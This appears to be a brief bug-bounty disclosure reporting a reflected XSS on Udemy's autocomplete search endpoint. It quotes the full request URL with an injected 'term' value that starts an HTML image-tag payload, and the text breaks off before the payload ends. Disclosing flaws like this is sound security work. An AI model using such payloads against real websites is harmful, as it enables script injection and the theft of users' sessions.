Udemy: xss on autoserch

i have found a XSS on auto search endpoint https://www.udemy.com/autocomplete/search/?cl=EyNkHjsRED4T&displayType=json&cf=ExRONTsRED5COkUCGxAHKV8HaTMPDBFu&count=4&term=%22%3E%3Cimg+src%3D%3E...